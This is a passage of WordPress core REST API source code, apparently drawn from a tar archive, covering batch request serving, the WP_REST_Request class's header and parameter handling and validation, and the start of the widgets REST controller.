), ), ); } } if ( empty( $data['methods'] ) ) { // No methods supported, hide the route. return null; } return $data; } /** * Gets the maximum number of requests that can be included in a batch. * * @since 5.6.0 * * @return int The maximum requests. */ protected function get_max_batch_size() { /** * Filters the maximum number of REST API requests that can be included in a batch. * * @since 5.6.0 * * @param int $max_size The maximum size. */ return apply_filters( 'rest_get_max_batch_size', 25 ); } /** * Serves the batch/v1 request. * * @since 5.6.0 * * @param WP_REST_Request $batch_request The batch request object. * @return WP_REST_Response The generated response object. */ public function serve_batch_request_v1( WP_REST_Request $batch_request ) { $requests = array(); foreach ( $batch_request['requests'] as $args ) { $parsed_url = wp_parse_url( $args['path'] ); if ( false === $parsed_url ) { $requests[] = new WP_Error( 'parse_path_failed', __( 'Could not parse the path.' ), array( 'status' => 400 ) ); continue; } $single_request = new WP_REST_Request( isset( $args['method'] ) ? $args['method'] : 'POST', $parsed_url['path'] ); if ( ! empty( $parsed_url['query'] ) ) { $query_args = null; // Satisfy linter. wp_parse_str( $parsed_url['query'], $query_args ); $single_request->set_query_params( $query_args ); } if ( ! empty( $args['body'] ) ) { $single_request->set_body_params( $args['body'] ); } if ( ! empty( $args['headers'] ) ) { $single_request->set_headers( $args['headers'] ); } $requests[] = $single_request; } $matches = array(); $validation = array(); $has_error = false; foreach ( $requests as $single_request ) { $match = $this->match_request_to_handler( $single_request ); $matches[] = $match; $error = null; if ( is_wp_error( $match ) ) { $error = $match; } if ( ! $error ) { list( $route, $handler ) = $match; if ( isset( $handler['allow_batch'] ) ) { $allow_batch = $handler['allow_batch']; } else { $route_options = $this->get_route_options( $route ); $allow_batch = isset( $route_options['allow_batch'] ) ? $route_options['allow_batch'] : false; } if ( ! is_array( $allow_batch ) || empty( $allow_batch['v1'] ) ) { $error = new WP_Error( 'rest_batch_not_allowed', __( 'The requested route does not support batch requests.' ), array( 'status' => 400 ) ); } } if ( ! $error ) { $check_required = $single_request->has_valid_params(); if ( is_wp_error( $check_required ) ) { $error = $check_required; } } if ( ! $error ) { $check_sanitized = $single_request->sanitize_params(); if ( is_wp_error( $check_sanitized ) ) { $error = $check_sanitized; } } if ( $error ) { $has_error = true; $validation[] = $error; } else { $validation[] = true; } } $responses = array(); if ( $has_error && 'require-all-validate' === $batch_request['validation'] ) { foreach ( $validation as $valid ) { if ( is_wp_error( $valid ) ) { $responses[] = $this->envelope_response( $this->error_to_response( $valid ), false )->get_data(); } else { $responses[] = null; } } return new WP_REST_Response( array( 'failed' => 'validation', 'responses' => $responses, ), WP_Http::MULTI_STATUS ); } foreach ( $requests as $i => $single_request ) { $clean_request = clone $single_request; $clean_request->set_url_params( array() ); $clean_request->set_attributes( array() ); $clean_request->set_default_params( array() ); /** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */ $result = apply_filters( 'rest_pre_dispatch', null, $this, $clean_request ); if ( empty( $result ) ) { $match = $matches[ $i ]; $error = null; if ( is_wp_error( $validation[ $i ] ) ) { $error = $validation[ $i ]; } if ( is_wp_error( $match ) ) { $result = $this->error_to_response( $match ); } else { list( $route, $handler ) = $match; if ( ! $error && ! is_callable( $handler['callback'] ) ) { $error = new WP_Error( 'rest_invalid_handler', __( 'The handler for the route is invalid' ), array( 'status' => 500 ) ); } $result = $this->respond_to_request( $single_request, $route, $handler, $error ); } } /** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */ $result = apply_filters( 'rest_post_dispatch', rest_ensure_response( $result ), $this, $single_request ); $responses[] = $this->envelope_response( $result, false )->get_data(); } return new WP_REST_Response( array( 'responses' => $responses ), WP_Http::MULTI_STATUS ); } /** * Sends an HTTP status code. * * @since 4.4.0 * * @param int $code HTTP status. */ protected function set_status( $code ) { status_header( $code ); } /** * Sends an HTTP header. * * @since 4.4.0 * * @param string $key Header key. * @param string $value Header value. */ public function send_header( $key, $value ) { /* * Sanitize as per RFC2616 (Section 4.2): * * Any LWS that occurs between field-content MAY be replaced with a * single SP before interpreting the field value or forwarding the * message downstream. */ $value = preg_replace( '/\s+/', ' ', $value ); header( sprintf( '%s: %s', $key, $value ) ); } /** * Sends multiple HTTP headers. * * @since 4.4.0 * * @param array $headers Map of header name to header value. */ public function send_headers( $headers ) { foreach ( $headers as $key => $value ) { $this->send_header( $key, $value ); } } /** * Removes an HTTP header from the current response. * * @since 4.8.0 * * @param string $key Header key. */ public function remove_header( $key ) { header_remove( $key ); } /** * Retrieves the raw request entity (body). * * @since 4.4.0 * * @global string $HTTP_RAW_POST_DATA Raw post data. * * @return string Raw request data. */ public static function get_raw_data() { // phpcs:disable PHPCompatibility.Variables.RemovedPredefinedGlobalVariables.http_raw_post_dataDeprecatedRemoved global $HTTP_RAW_POST_DATA; // $HTTP_RAW_POST_DATA was deprecated in PHP 5.6 and removed in PHP 7.0. if ( ! isset( $HTTP_RAW_POST_DATA ) ) { $HTTP_RAW_POST_DATA = file_get_contents( 'php://input' ); } return $HTTP_RAW_POST_DATA; // phpcs:enable } /** * Extracts headers from a PHP-style $_SERVER array. * * @since 4.4.0 * * @param array $server Associative array similar to `$_SERVER`. * @return array Headers extracted from the input. */ public function get_headers( $server ) { $headers = array(); // CONTENT_* headers are not prefixed with HTTP_. $additional = array( 'CONTENT_LENGTH' => true, 'CONTENT_MD5' => true, 'CONTENT_TYPE' => true, ); foreach ( $server as $key => $value ) { if ( strpos( $key, 'HTTP_' ) === 0 ) { $headers[ substr( $key, 5 ) ] = $value; } elseif ( 'REDIRECT_HTTP_AUTHORIZATION' === $key && empty( $server['HTTP_AUTHORIZATION'] ) ) { /* * In some server configurations, the authorization header is passed in this alternate location. * Since it would not be passed in in both places we do not check for both headers and resolve. */ $headers['AUTHORIZATION'] = $value; } elseif ( isset( $additional[ $key ] ) ) { $headers[ $key ] = $value; } } return $headers; } } rest-api/class-wp-rest-request.php000064400000062760147177035020013214 0ustar00params = array( 'URL' => array(), 'GET' => array(), 'POST' => array(), 'FILES' => array(), // See parse_json_params. 'JSON' => null, 'defaults' => array(), ); $this->set_method( $method ); $this->set_route( $route ); $this->set_attributes( $attributes ); } /** * Retrieves the HTTP method for the request. * * @since 4.4.0 * * @return string HTTP method. */ public function get_method() { return $this->method; } /** * Sets HTTP method for the request. * * @since 4.4.0 * * @param string $method HTTP method. */ public function set_method( $method ) { $this->method = strtoupper( $method ); } /** * Retrieves all headers from the request. * * @since 4.4.0 * * @return array Map of key to value. Key is always lowercase, as per HTTP specification. */ public function get_headers() { return $this->headers; } /** * Canonicalizes the header name. * * Ensures that header names are always treated the same regardless of * source. Header names are always case insensitive. * * Note that we treat `-` (dashes) and `_` (underscores) as the same * character, as per header parsing rules in both Apache and nginx. * * @link https://stackoverflow.com/q/18185366 * @link https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/#missing-disappearing-http-headers * @link https://nginx.org/en/docs/http/ngx_http_core_module.html#underscores_in_headers * * @since 4.4.0 * * @param string $key Header name. * @return string Canonicalized name. */ public static function canonicalize_header_name( $key ) { $key = strtolower( $key ); $key = str_replace( '-', '_', $key ); return $key; } /** * Retrieves the given header from the request. * * If the header has multiple values, they will be concatenated with a comma * as per the HTTP specification. Be aware that some non-compliant headers * (notably cookie headers) cannot be joined this way. * * @since 4.4.0 * * @param string $key Header name, will be canonicalized to lowercase. * @return string|null String value if set, null otherwise. */ public function get_header( $key ) { $key = $this->canonicalize_header_name( $key ); if ( ! isset( $this->headers[ $key ] ) ) { return null; } return implode( ',', $this->headers[ $key ] ); } /** * Retrieves header values from the request. * * @since 4.4.0 * * @param string $key Header name, will be canonicalized to lowercase. * @return array|null List of string values if set, null otherwise. */ public function get_header_as_array( $key ) { $key = $this->canonicalize_header_name( $key ); if ( ! isset( $this->headers[ $key ] ) ) { return null; } return $this->headers[ $key ]; } /** * Sets the header on request. * * @since 4.4.0 * * @param string $key Header name. * @param string $value Header value, or list of values. */ public function set_header( $key, $value ) { $key = $this->canonicalize_header_name( $key ); $value = (array) $value; $this->headers[ $key ] = $value; } /** * Appends a header value for the given header. * * @since 4.4.0 * * @param string $key Header name. * @param string $value Header value, or list of values. */ public function add_header( $key, $value ) { $key = $this->canonicalize_header_name( $key ); $value = (array) $value; if ( ! isset( $this->headers[ $key ] ) ) { $this->headers[ $key ] = array(); } $this->headers[ $key ] = array_merge( $this->headers[ $key ], $value ); } /** * Removes all values for a header. * * @since 4.4.0 * * @param string $key Header name. */ public function remove_header( $key ) { $key = $this->canonicalize_header_name( $key ); unset( $this->headers[ $key ] ); } /** * Sets headers on the request. * * @since 4.4.0 * * @param array $headers Map of header name to value. * @param bool $override If true, replace the request's headers. Otherwise, merge with existing. */ public function set_headers( $headers, $override = true ) { if ( true === $override ) { $this->headers = array(); } foreach ( $headers as $key => $value ) { $this->set_header( $key, $value ); } } /** * Retrieves the content-type of the request. * * @since 4.4.0 * * @return array|null Map containing 'value' and 'parameters' keys * or null when no valid content-type header was * available. */ public function get_content_type() { $value = $this->get_header( 'content-type' ); if ( empty( $value ) ) { return null; } $parameters = ''; if ( strpos( $value, ';' ) ) { list( $value, $parameters ) = explode( ';', $value, 2 ); } $value = strtolower( $value ); if ( false === strpos( $value, '/' ) ) { return null; } // Parse type and subtype out. list( $type, $subtype ) = explode( '/', $value, 2 ); $data = compact( 'value', 'type', 'subtype', 'parameters' ); $data = array_map( 'trim', $data ); return $data; } /** * Checks if the request has specified a JSON content-type. * * @since 5.6.0 * * @return bool True if the content-type header is JSON. */ public function is_json_content_type() { $content_type = $this->get_content_type(); return isset( $content_type['value'] ) && wp_is_json_media_type( $content_type['value'] ); } /** * Retrieves the parameter priority order. * * Used when checking parameters in WP_REST_Request::get_param(). * * @since 4.4.0 * * @return string[] Array of types to check, in order of priority. */ protected function get_parameter_order() { $order = array(); if ( $this->is_json_content_type() ) { $order[] = 'JSON'; } $this->parse_json_params(); // Ensure we parse the body data. $body = $this->get_body(); if ( 'POST' !== $this->method && ! empty( $body ) ) { $this->parse_body_params(); } $accepts_body_data = array( 'POST', 'PUT', 'PATCH', 'DELETE' ); if ( in_array( $this->method, $accepts_body_data, true ) ) { $order[] = 'POST'; } $order[] = 'GET'; $order[] = 'URL'; $order[] = 'defaults'; /** * Filters the parameter priority order for a REST API request. * * The order affects which parameters are checked when using WP_REST_Request::get_param() * and family. This acts similarly to PHP's `request_order` setting. * * @since 4.4.0 * * @param string[] $order Array of types to check, in order of priority. * @param WP_REST_Request $request The request object. */ return apply_filters( 'rest_request_parameter_order', $order, $this ); } /** * Retrieves a parameter from the request. * * @since 4.4.0 * * @param string $key Parameter name. * @return mixed|null Value if set, null otherwise. */ public function get_param( $key ) { $order = $this->get_parameter_order(); foreach ( $order as $type ) { // Determine if we have the parameter for this type. if ( isset( $this->params[ $type ][ $key ] ) ) { return $this->params[ $type ][ $key ]; } } return null; } /** * Checks if a parameter exists in the request. * * This allows distinguishing between an omitted parameter, * and a parameter specifically set to null. * * @since 5.3.0 * * @param string $key Parameter name. * @return bool True if a param exists for the given key. */ public function has_param( $key ) { $order = $this->get_parameter_order(); foreach ( $order as $type ) { if ( is_array( $this->params[ $type ] ) && array_key_exists( $key, $this->params[ $type ] ) ) { return true; } } return false; } /** * Sets a parameter on the request. * * If the given parameter key exists in any parameter type an update will take place, * otherwise a new param will be created in the first parameter type (respecting * get_parameter_order()). * * @since 4.4.0 * * @param string $key Parameter name. * @param mixed $value Parameter value. */ public function set_param( $key, $value ) { $order = $this->get_parameter_order(); $found_key = false; foreach ( $order as $type ) { if ( 'defaults' !== $type && is_array( $this->params[ $type ] ) && array_key_exists( $key, $this->params[ $type ] ) ) { $this->params[ $type ][ $key ] = $value; $found_key = true; } } if ( ! $found_key ) { $this->params[ $order[0] ][ $key ] = $value; } } /** * Retrieves merged parameters from the request. * * The equivalent of get_param(), but returns all parameters for the request. * Handles merging all the available values into a single array. * * @since 4.4.0 * * @return array Map of key to value. */ public function get_params() { $order = $this->get_parameter_order(); $order = array_reverse( $order, true ); $params = array(); foreach ( $order as $type ) { // array_merge() / the "+" operator will mess up // numeric keys, so instead do a manual foreach. foreach ( (array) $this->params[ $type ] as $key => $value ) { $params[ $key ] = $value; } } return $params; } /** * Retrieves parameters from the route itself. * * These are parsed from the URL using the regex. * * @since 4.4.0 * * @return array Parameter map of key to value. */ public function get_url_params() { return $this->params['URL']; } /** * Sets parameters from the route. * * Typically, this is set after parsing the URL. * * @since 4.4.0 * * @param array $params Parameter map of key to value. */ public function set_url_params( $params ) { $this->params['URL'] = $params; } /** * Retrieves parameters from the query string. * * These are the parameters you'd typically find in `$_GET`. * * @since 4.4.0 * * @return array Parameter map of key to value */ public function get_query_params() { return $this->params['GET']; } /** * Sets parameters from the query string. * * Typically, this is set from `$_GET`. * * @since 4.4.0 * * @param array $params Parameter map of key to value. */ public function set_query_params( $params ) { $this->params['GET'] = $params; } /** * Retrieves parameters from the body. * * These are the parameters you'd typically find in `$_POST`. * * @since 4.4.0 * * @return array Parameter map of key to value. */ public function get_body_params() { return $this->params['POST']; } /** * Sets parameters from the body. * * Typically, this is set from `$_POST`. * * @since 4.4.0 * * @param array $params Parameter map of key to value. */ public function set_body_params( $params ) { $this->params['POST'] = $params; } /** * Retrieves multipart file parameters from the body. * * These are the parameters you'd typically find in `$_FILES`. * * @since 4.4.0 * * @return array Parameter map of key to value */ public function get_file_params() { return $this->params['FILES']; } /** * Sets multipart file parameters from the body. * * Typically, this is set from `$_FILES`. * * @since 4.4.0 * * @param array $params Parameter map of key to value. */ public function set_file_params( $params ) { $this->params['FILES'] = $params; } /** * Retrieves the default parameters. * * These are the parameters set in the route registration. * * @since 4.4.0 * * @return array Parameter map of key to value */ public function get_default_params() { return $this->params['defaults']; } /** * Sets default parameters. * * These are the parameters set in the route registration. * * @since 4.4.0 * * @param array $params Parameter map of key to value. */ public function set_default_params( $params ) { $this->params['defaults'] = $params; } /** * Retrieves the request body content. * * @since 4.4.0 * * @return string Binary data from the request body. */ public function get_body() { return $this->body; } /** * Sets body content. * * @since 4.4.0 * * @param string $data Binary data from the request body. */ public function set_body( $data ) { $this->body = $data; // Enable lazy parsing. $this->parsed_json = false; $this->parsed_body = false; $this->params['JSON'] = null; } /** * Retrieves the parameters from a JSON-formatted body. * * @since 4.4.0 * * @return array Parameter map of key to value. */ public function get_json_params() { // Ensure the parameters have been parsed out. $this->parse_json_params(); return $this->params['JSON']; } /** * Parses the JSON parameters. * * Avoids parsing the JSON data until we need to access it. * * @since 4.4.0 * @since 4.7.0 Returns error instance if value cannot be decoded. * @return true|WP_Error True if the JSON data was passed or no JSON data was provided, WP_Error if invalid JSON was passed. */ protected function parse_json_params() { if ( $this->parsed_json ) { return true; } $this->parsed_json = true; // Check that we actually got JSON. if ( ! $this->is_json_content_type() ) { return true; } $body = $this->get_body(); if ( empty( $body ) ) { return true; } $params = json_decode( $body, true ); /* * Check for a parsing error. */ if ( null === $params && JSON_ERROR_NONE !== json_last_error() ) { // Ensure subsequent calls receive error instance. $this->parsed_json = false; $error_data = array( 'status' => WP_Http::BAD_REQUEST, 'json_error_code' => json_last_error(), 'json_error_message' => json_last_error_msg(), ); return new WP_Error( 'rest_invalid_json', __( 'Invalid JSON body passed.' ), $error_data ); } $this->params['JSON'] = $params; return true; } /** * Parses the request body parameters. * * Parses out URL-encoded bodies for request methods that aren't supported * natively by PHP. In PHP 5.x, only POST has these parsed automatically. * * @since 4.4.0 */ protected function parse_body_params() { if ( $this->parsed_body ) { return; } $this->parsed_body = true; /* * Check that we got URL-encoded. Treat a missing content-type as * URL-encoded for maximum compatibility. */ $content_type = $this->get_content_type(); if ( ! empty( $content_type ) && 'application/x-www-form-urlencoded' !== $content_type['value'] ) { return; } parse_str( $this->get_body(), $params ); /* * Add to the POST parameters stored internally. If a user has already * set these manually (via `set_body_params`), don't override them. */ $this->params['POST'] = array_merge( $params, $this->params['POST'] ); } /** * Retrieves the route that matched the request. * * @since 4.4.0 * * @return string Route matching regex. */ public function get_route() { return $this->route; } /** * Sets the route that matched the request. * * @since 4.4.0 * * @param string $route Route matching regex. */ public function set_route( $route ) { $this->route = $route; } /** * Retrieves the attributes for the request. * * These are the options for the route that was matched. * * @since 4.4.0 * * @return array Attributes for the request. */ public function get_attributes() { return $this->attributes; } /** * Sets the attributes for the request. * * @since 4.4.0 * * @param array $attributes Attributes for the request. */ public function set_attributes( $attributes ) { $this->attributes = $attributes; } /** * Sanitizes (where possible) the params on the request. * * This is primarily based off the sanitize_callback param on each registered * argument. * * @since 4.4.0 * * @return true|WP_Error True if parameters were sanitized, WP_Error if an error occurred during sanitization. */ public function sanitize_params() { $attributes = $this->get_attributes(); // No arguments set, skip sanitizing. if ( empty( $attributes['args'] ) ) { return true; } $order = $this->get_parameter_order(); $invalid_params = array(); $invalid_details = array(); foreach ( $order as $type ) { if ( empty( $this->params[ $type ] ) ) { continue; } foreach ( $this->params[ $type ] as $key => $value ) { if ( ! isset( $attributes['args'][ $key ] ) ) { continue; } $param_args = $attributes['args'][ $key ]; // If the arg has a type but no sanitize_callback attribute, default to rest_parse_request_arg. if ( ! array_key_exists( 'sanitize_callback', $param_args ) && ! empty( $param_args['type'] ) ) { $param_args['sanitize_callback'] = 'rest_parse_request_arg'; } // If there's still no sanitize_callback, nothing to do here. if ( empty( $param_args['sanitize_callback'] ) ) { continue; } /** @var mixed|WP_Error $sanitized_value */ $sanitized_value = call_user_func( $param_args['sanitize_callback'], $value, $this, $key ); if ( is_wp_error( $sanitized_value ) ) { $invalid_params[ $key ] = implode( ' ', $sanitized_value->get_error_messages() ); $invalid_details[ $key ] = rest_convert_error_to_response( $sanitized_value )->get_data(); } else { $this->params[ $type ][ $key ] = $sanitized_value; } } } if ( $invalid_params ) { return new WP_Error( 'rest_invalid_param', /* translators: %s: List of invalid parameters. */ sprintf( __( 'Invalid parameter(s): %s' ), implode( ', ', array_keys( $invalid_params ) ) ), array( 'status' => 400, 'params' => $invalid_params, 'details' => $invalid_details, ) ); } return true; } /** * Checks whether this request is valid according to its attributes. * * @since 4.4.0 * * @return true|WP_Error True if there are no parameters to validate or if all pass validation, * WP_Error if required parameters are missing. */ public function has_valid_params() { // If JSON data was passed, check for errors. $json_error = $this->parse_json_params(); if ( is_wp_error( $json_error ) ) { return $json_error; } $attributes = $this->get_attributes(); $required = array(); $args = empty( $attributes['args'] ) ? array() : $attributes['args']; foreach ( $args as $key => $arg ) { $param = $this->get_param( $key ); if ( isset( $arg['required'] ) && true === $arg['required'] && null === $param ) { $required[] = $key; } } if ( ! empty( $required ) ) { return new WP_Error( 'rest_missing_callback_param', /* translators: %s: List of required parameters. */ sprintf( __( 'Missing parameter(s): %s' ), implode( ', ', $required ) ), array( 'status' => 400, 'params' => $required, ) ); } /* * Check the validation callbacks for each registered arg. * * This is done after required checking as required checking is cheaper. */ $invalid_params = array(); $invalid_details = array(); foreach ( $args as $key => $arg ) { $param = $this->get_param( $key ); if ( null !== $param && ! empty( $arg['validate_callback'] ) ) { /** @var bool|\WP_Error $valid_check */ $valid_check = call_user_func( $arg['validate_callback'], $param, $this, $key ); if ( false === $valid_check ) { $invalid_params[ $key ] = __( 'Invalid parameter.' ); } if ( is_wp_error( $valid_check ) ) { $invalid_params[ $key ] = implode( ' ', $valid_check->get_error_messages() ); $invalid_details[ $key ] = rest_convert_error_to_response( $valid_check )->get_data(); } } } if ( $invalid_params ) { return new WP_Error( 'rest_invalid_param', /* translators: %s: List of invalid parameters. */ sprintf( __( 'Invalid parameter(s): %s' ), implode( ', ', array_keys( $invalid_params ) ) ), array( 'status' => 400, 'params' => $invalid_params, 'details' => $invalid_details, ) ); } if ( isset( $attributes['validate_callback'] ) ) { $valid_check = call_user_func( $attributes['validate_callback'], $this ); if ( is_wp_error( $valid_check ) ) { return $valid_check; } if ( false === $valid_check ) { // A WP_Error instance is preferred, but false is supported for parity with the per-arg validate_callback. return new WP_Error( 'rest_invalid_params', __( 'Invalid parameters.' ), array( 'status' => 400 ) ); } } return true; } /** * Checks if a parameter is set. * * @since 4.4.0 * * @param string $offset Parameter name. * @return bool Whether the parameter is set. */ #[ReturnTypeWillChange] public function offsetExists( $offset ) { $order = $this->get_parameter_order(); foreach ( $order as $type ) { if ( isset( $this->params[ $type ][ $offset ] ) ) { return true; } } return false; } /** * Retrieves a parameter from the request. * * @since 4.4.0 * * @param string $offset Parameter name. * @return mixed|null Value if set, null otherwise. */ #[ReturnTypeWillChange] public function offsetGet( $offset ) { return $this->get_param( $offset ); } /** * Sets a parameter on the request. * * @since 4.4.0 * * @param string $offset Parameter name. * @param mixed $value Parameter value. */ #[ReturnTypeWillChange] public function offsetSet( $offset, $value ) { $this->set_param( $offset, $value ); } /** * Removes a parameter from the request. * * @since 4.4.0 * * @param string $offset Parameter name. */ #[ReturnTypeWillChange] public function offsetUnset( $offset ) { $order = $this->get_parameter_order(); // Remove the offset from every group. foreach ( $order as $type ) { unset( $this->params[ $type ][ $offset ] ); } } /** * Retrieves a WP_REST_Request object from a full URL. * * @since 4.5.0 * * @param string $url URL with protocol, domain, path and query args. * @return WP_REST_Request|false WP_REST_Request object on success, false on failure. */ public static function from_url( $url ) { $bits = parse_url( $url ); $query_params = array(); if ( ! empty( $bits['query'] ) ) { wp_parse_str( $bits['query'], $query_params ); } $api_root = rest_url(); if ( get_option( 'permalink_structure' ) && 0 === strpos( $url, $api_root ) ) { // Pretty permalinks on, and URL is under the API root. $api_url_part = substr( $url, strlen( untrailingslashit( $api_root ) ) ); $route = parse_url( $api_url_part, PHP_URL_PATH ); } elseif ( ! empty( $query_params['rest_route'] ) ) { // ?rest_route=... set directly. $route = $query_params['rest_route']; unset( $query_params['rest_route'] ); } $request = false; if ( ! empty( $route ) ) { $request = new WP_REST_Request( 'GET', $route ); $request->set_query_params( $query_params ); } /** * Filters the REST API request generated from a URL. * * @since 4.5.0 * * @param WP_REST_Request|false $request Generated request object, or false if URL * could not be parsed. * @param string $url URL the request was generated from. */ return apply_filters( 'rest_request_from_url', $request, $url ); } } rest-api/endpoints/class-wp-rest-widgets-controller.php000064400000063367147177035020017362 0ustar00 true ); /** * Widgets controller constructor. * * @since 5.8.0 */ public function __construct() { $this->namespace = 'wp/v2'; $this->rest_base = 'widgets'; } /** * Registers the widget routes for the controller. * * @since 5.8.0 */ public function register_routes() { register_rest_route( $this->namespace, $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema(), ), 'allow_batch' => $this->allow_batch, 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, $this->rest_base . '/(?P[\w\-]+)', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), 'args' => array( 'force' => array( 'description' => __( 'Whether to force removal of the widget, or move it to the inactive sidebar.' ), 'type' => 'boolean', ), ), ), 'allow_batch' => $this->allow_batch, 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to get widgets. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { $this->retrieve_widgets(); if ( isset( $request['sidebar'] ) && $this->check_read_sidebar_permission( $request['sidebar'] ) ) { return true; } foreach ( wp_get_sidebars_widgets() as $sidebar_id => $widget_ids ) { if ( $this->check_read_sidebar_permission( $sidebar_id ) ) { return true; } } return $this->permissions_check( $request ); } /** * Retrieves a collection of widgets. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $this->retrieve_widgets(); $prepared = array(); $permissions_check = $this->permissions_check( $request ); foreach ( wp_get_sidebars_widgets() as $sidebar_id => $widget_ids ) { if ( isset( $request['sidebar'] ) && $sidebar_id !== $request['sidebar'] ) { continue; } if ( is_wp_error( $permissions_check ) && ! $this->check_read_sidebar_permission( $sidebar_id ) ) { continue; } foreach ( $widget_ids as $widget_id ) { $response = $this->prepare_item_for_response( compact( 'sidebar_id', 'widget_id' ), $request ); if ( ! is_wp_error( $response ) ) { $prepared[] = $this->prepare_response_for_collection( $response ); } } } return new WP_REST_Response( $prepared ); } /** * Checks if a given request has access to get a widget. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $this->retrieve_widgets(); $widget_id = $request['id']; $sidebar_id = wp_find_widgets_sidebar( $widget_id ); if ( $sidebar_id && $this->check_read_sidebar_permission( $sidebar_id ) ) { return true; } return $this->permissions_check( $request ); } /** * Checks if a sidebar can be read publicly. * * @since 5.9.0 * * @param string $sidebar_id The sidebar ID. * @return bool Whether the sidebar can be read. */ protected function check_read_sidebar_permission( $sidebar_id ) { $sidebar = wp_get_sidebar( $sidebar_id ); return ! empty( $sidebar['show_in_rest'] ); } /** * Gets an individual widget. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $this->retrieve_widgets(); $widget_id = $request['id']; $sidebar_id = wp_find_widgets_sidebar( $widget_id ); if ( is_null( $sidebar_id ) ) { return new WP_Error( 'rest_widget_not_found', __( 'No widget was found with that id.' ), array( 'status' => 404 ) ); } return $this->prepare_item_for_response( compact( 'widget_id', 'sidebar_id' ), $request ); } /** * Checks if a given request has access to create widgets. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function create_item_permissions_check( $request ) { return $this->permissions_check( $request ); } /** * Creates a widget. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { $sidebar_id = $request['sidebar']; $widget_id = $this->save_widget( $request, $sidebar_id ); if ( is_wp_error( $widget_id ) ) { return $widget_id; } wp_assign_widget_to_sidebar( $widget_id, $sidebar_id ); $request['context'] = 'edit'; $response = $this->prepare_item_for_response( compact( 'sidebar_id', 'widget_id' ), $request ); if ( is_wp_error( $response ) ) { return $response; } $response->set_status( 201 ); return $response; } /** * Checks if a given request has access to update widgets. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function update_item_permissions_check( $request ) { return $this->permissions_check( $request ); } /** * Updates an existing widget. * * @since 5.8.0 * * @global WP_Widget_Factory $wp_widget_factory * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { global $wp_widget_factory; /* * retrieve_widgets() contains logic to move "hidden" or "lost" widgets to the * wp_inactive_widgets sidebar based on the contents of the $sidebars_widgets global. * * When batch requests are processed, this global is not properly updated by previous * calls, resulting in widgets incorrectly being moved to the wp_inactive_widgets * sidebar. * * See https://core.trac.wordpress.org/ticket/53657. */ wp_get_sidebars_widgets(); $this->retrieve_widgets(); $widget_id = $request['id']; $sidebar_id = wp_find_widgets_sidebar( $widget_id ); // Allow sidebar to be unset or missing when widget is not a WP_Widget. $parsed_id = wp_parse_widget_id( $widget_id ); $widget_object = $wp_widget_factory->get_widget_object( $parsed_id['id_base'] ); if ( is_null( $sidebar_id ) && $widget_object ) { return new WP_Error( 'rest_widget_not_found', __( 'No widget was found with that id.' ), array( 'status' => 404 ) ); } if ( $request->has_param( 'instance' ) || $request->has_param( 'form_data' ) ) { $maybe_error = $this->save_widget( $request, $sidebar_id ); if ( is_wp_error( $maybe_error ) ) { return $maybe_error; } } if ( $request->has_param( 'sidebar' ) ) { if ( $sidebar_id !== $request['sidebar'] ) { $sidebar_id = $request['sidebar']; wp_assign_widget_to_sidebar( $widget_id, $sidebar_id ); } } $request['context'] = 'edit'; return $this->prepare_item_for_response( compact( 'widget_id', 'sidebar_id' ), $request ); } /** * Checks if a given request has access to delete widgets. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function delete_item_permissions_check( $request ) { return $this->permissions_check( $request ); } /** * Deletes a widget. * * @since 5.8.0 * * @global WP_Widget_Factory $wp_widget_factory * @global array $wp_registered_widget_updates The registered widget update functions. * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { global $wp_widget_factory, $wp_registered_widget_updates; /* * retrieve_widgets() contains logic to move "hidden" or "lost" widgets to the * wp_inactive_widgets sidebar based on the contents of the $sidebars_widgets global. * * When batch requests are processed, this global is not properly updated by previous * calls, resulting in widgets incorrectly being moved to the wp_inactive_widgets * sidebar. * * See https://core.trac.wordpress.org/ticket/53657. */ wp_get_sidebars_widgets(); $this->retrieve_widgets(); $widget_id = $request['id']; $sidebar_id = wp_find_widgets_sidebar( $widget_id ); if ( is_null( $sidebar_id ) ) { return new WP_Error( 'rest_widget_not_found', __( 'No widget was found with that id.' ), array( 'status' => 404 ) ); 